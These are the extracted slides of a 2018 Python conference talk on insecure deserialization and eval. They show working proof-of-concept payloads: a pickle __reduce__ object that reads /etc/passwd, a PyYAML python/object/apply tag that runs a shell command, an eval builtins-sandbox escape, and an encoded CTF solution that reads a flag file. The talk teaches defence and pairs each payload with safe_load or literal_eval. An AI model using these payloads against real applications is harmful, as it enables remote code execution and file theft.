Some insecure things to avoid in Python
Dominik 'Disconnect3d' Czarnota
ThaiPy, 8.02.2018
# whoami
https://github.com/disconnect3d/
disconnect3d # irc.freenode.net
2
Lets talk about
pickle
3
pickle example
In [1]: import pickle��In [2]: pickle.dumps([1, 2, 3])�Out[2]: b'\x80\x03]q\x00(K\x01K\x02K\x03e.'��In [3]: pickle.loads(_2)�Out[3]: [1, 2, 3]��In [4]: pickle.dumps({'abcdef': [1, 2], 123: 321})�Out[4]: b'\x80\x03}q\x00(X\x06\x00\x00\x00abcdefq\x01]q\x02(K\x01K\x02eK{MA\x01u.'��In [5]: pickle.loads(_4)�Out[5]: {123: 321, 'abcdef': [1, 2]}
4
pickle example
In [6]: class A:� ...: def __init__(self, x):� ...: self.x = x ��In [7]: a = A(2)��In [8]: pickle.dumps(a)�Out[8]: b'\x80\x03c__main__\nA\nq\x00)\x81q\x01}q\x02X\x01\x00\x00\x00xq\x03K\x02sb.'��In [9]: c = pickle.loads(_8)��In [10]: a.x, c.x, a, c�Out[10]: (2, 2, <__main__.A at 0x7f367809b6a0>, <__main__.A at 0x7f36780c7320>)�
5
pickle via the docs...
Warning: The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
6
pickle malicious payload
In [1]: import subprocess� ...: � ...: class Malicious:� ...: def __reduce__(self):� ...: callable = subprocess.Popen� ...: args = ('/bin/cat', '/etc/passwd')� ...: return (callable, (args,))� ...: ��In [2]: with open('abc', 'wb') as f:� ...: d = pickle.dumps(Malicious())
...: f.write(d)� ...:
7
pickle malicious payload
In [1]: import subprocess� ...: � ...: class Malicious:� ...: def __reduce__(self):� ...: callable = subprocess.Popen� ...: args = ('/bin/cat', '/etc/passwd')� ...: return (callable, (args,))� ...: ��In [2]: with open('abc', 'wb') as f:� ...: d = pickle.dumps(Malicious())
...: f.write(d)� ...:
In [1]: import pickle��In [2]: with open('abc', 'rb') as f:� ...: pickle.loads(f.read())� ...:
�root:x:0:0:root:/root:/bin/bash�bin:x:1:1:bin:/bin:/usr/bin/nologin�daemon:x:2:2:daemon:/:/usr/bin/nologin�(...)
8
Totally different Python session,
It doesn’t even have subprocess imported
Lets talk about
yaml
9
yaml tutorial
10
yaml tutorial
11
yaml.load(...)
PyYAML allows you to construct a Python object of any type.
>>> yaml.load("""�... none: [~, null]�... bool: [true, false, on, off]�... int: 42�... float: 3.14159�... list: [LITE, RES_ACID, SUS_DEXT]�... dict: {hp: 13, sp: 5}�... """)��{'none': [None, None], 'int': 42, 'float': 3.1415899999999999,�'list': ['LITE', 'RES_ACID', 'SUS_DEXT'], 'dict': {'hp': 13, 'sp': 5},�'bool': [True, False, True, False]}
12
PyYAML allows you to construct a Python object of any type.
In [1]: import yaml��In [2]: yaml.load('''those_RCEs: !!python/object/apply:subprocess.check_output� ...: args: [ pwd ]� ...: kwds: { shell: true }''')�Out[2]: {'those_RCEs': b'/home/dc\n'}
In [3]: !pwd�/home/dc
13
Use yaml.safe_load instead of yaml.load
In [1]: import yaml��In [2]: yaml.safe_load('''those_RCEs: !!python/object/apply:subprocess.check_output� ...: args: [ pwd ]� ...: kwds: { shell: true }''')�
ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply:subprocess.check_output'
in "<unicode string>", line 1, column 13:
those_RCEs: !!python/object/apply:subprocess ...
^
14
Offtopic: yaml WTF
15
yaml.load(...) # WTF
In [2]: yaml.load('42')�Out[2]: 42��In [3]: yaml.load('10:42')�Out[3]: 642��In [4]: yaml.load('5:10:42')�Out[4]: 18642��In [5]: yaml.load('1:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0')�Out[5]: 1692665944473600000000000000000��In [6]: yaml.load('1:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:')�Out[6]: {1692665944473600000000000000000: None}
More at: https://github.com/cblp/yaml-sucks
16
Eval?
Everyone knows its insecure, right?
17
Yet another ‘eval’ Python 2 challenge
18
#!/usr/bin/env python
eval(raw_input().title())
Lets see something simpler...
19
#!/usr/bin/env python
eval(raw_input().title())
Can we import?
20
In [2]: eval('import os; os.system("/bin/echo works")')� File "<string>", line 1� import os; os.system("/bin/echo works")� ^�SyntaxError: invalid syntax� |
Yeah
21
In [3]: x = '__import__("os").system("/bin/echo works")'��In [4]: eval(x)�works� |
This is a builtin
What if we make the challenge harder?
22
eval(raw_input(), {'__builtins__':{}})
One can specify globals
[and locals] for eval
What if we make the challenge harder?
23
In [1]: x = '__import__("os").system("/bin/echo works")'��In [2]: eval(x, {'__builtins__': {}})���NameError: name '__import__' is not defined� |
What if we make the challenge harder?
24
In [18]: x = "{}.__class__.__base__.__subclasses__()[59]()._module�.__builtins__['__import__']('os').system('echo sick')"��In [19]: eval(x, {'__builtins__': {}})�sick�Out[19]: 0 |
What if we make the challenge harder?
25
In [18]: x = "{}.__class__.__base__.__subclasses__()[59]()._module�.__builtins__['__import__']('os').system('echo sick')"��In [19]: eval(x, {'__builtins__': {}})�sick�Out[19]: 0 |
This has to be adjusted to be warnings.catch_warnings class
Lets come back to the real challenge
#!/usr/bin/env python
eval(raw_input().title())
26
If we try the previous solution here… it doesn’t work
In [22]: x.title()�Out[22]: "{}.__Class__.__Base__.__Subclasses__()[59]()�._Module.__Builtins__['__Import__']('Os')�.System('Echo Sick')"�
27
And the solution comes from...
28
And the solution comes from...
PEP 263 - Defining Python Source Code Encodings
https://www.python.org/dev/peps/pep-0263/
This is about:�# -*- coding: latin-1 -*-�# -*- coding: iso-8859-15 -*-�# -*- coding: ascii -*-�# -*- coding: utf-42 -*-�# -*- coding: utf-8 -*-
29
The solution
eval("# Encoding: Unicode_Escape\r�\\145\\166\\141\\154\\050\\157\\160\\145\\156�\\050\\042\\146\\154\\141\\147\\042\\051\\056�\\162\\145\\141\\144\\050\\061\\060\\062\\064�\\051\\051".title())
30
There are no newlines
The solution
In [24]: !cat flag�Flag file first line�Flag file second line��In [25]: eval("# Encoding: Unicode_Escape\r\\145\\166\\141\\154\\050\\157\\160\\145\\156\\050\\042\\146\\154\\141\\147\\042\\051\\056\\162\\145\\141\\144\\050\\061\\060\\062\\064\\051\\051".title())��File "<string>", line 1� Flag file first line� ^�SyntaxError: invalid syntax
31
eval("# Encoding: Unicode_Escape\r�\\145\\166\\141\\154\\050\\157\\160\\145\\156\\050\\042\\146\\154\\141\\147�\\042\\051\\056\\162\\145\\141\\144\\050\\061\\060\\062\\064\\051\\051"�.title())
In [26]: s = '\\145\\166\\141 (...)' # string cut for better readability :P��In [27]: s.decode('unicode_escape')�Out[27]: u'eval(open("flag").read(1024))'�
32
‘Titlecase’ — challenge genesis
<atem> I'm sorry about the Title Case challenge :)... It came from a real-life code audit, so I had to use it in a challenge :)
<atem> i learned a lot of new stuff about python internals :)
<atem> i still don't know what this developer was thinking though
<atem> his use case was that eval('true'.title()) would be the easiest solution to transform the string 'true' to a python boolean; where 'true' was attacker controlled
33
When you get your input from user
And you “want to” eval(...)
34
Use ast.literal_eval(...) instead*
*works for a Python literal or container display
35
Eventually…
You might try safeeval�
36
The end